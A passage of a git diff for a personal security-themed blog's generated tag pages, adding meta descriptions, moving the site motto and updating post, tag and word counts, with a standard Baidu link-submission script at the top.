+      }
+    });
+  </script>
+
+
+
+  
+
+  
+<script>
+(function(){
+    var bp = document.createElement('script');
+    var curProtocol = window.location.protocol.split(':')[0];
+    if (curProtocol === 'https') {
+        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
+    }
+    else {
+        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
+    }
+    var s = document.getElementsByTagName("script")[0];
+    s.parentNode.insertBefore(bp, s);
+})();
+</script>
+
+
+  
+  
+
+  
+
+  
+
+  
+
+</body>
+</html>
diff --git a/tags/自然语言处理/index.html b/tags/自然语言处理/index.html
index 9a3ff77b..69780bef 100644
--- a/tags/自然语言处理/index.html
+++ b/tags/自然语言处理/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/自然语言处理/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/访问控制/index.html b/tags/访问控制/index.html
index 56489b0c..a574189b 100644
--- a/tags/访问控制/index.html
+++ b/tags/访问控制/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/访问控制/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/路由器/index.html b/tags/路由器/index.html
index 947c5793..826a9501 100644
--- a/tags/路由器/index.html
+++ b/tags/路由器/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/路由器/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/远程执行/index.html b/tags/远程执行/index.html
index f199bb2e..03802f27 100644
--- a/tags/远程执行/index.html
+++ b/tags/远程执行/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/远程执行/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/逆向/index.html b/tags/逆向/index.html
index fcbb0da0..05cf6d21 100644
--- a/tags/逆向/index.html
+++ b/tags/逆向/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/逆向/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/重放攻击/index.html b/tags/重放攻击/index.html
index 4750e90a..1065ab49 100644
--- a/tags/重放攻击/index.html
+++ b/tags/重放攻击/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/重放攻击/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>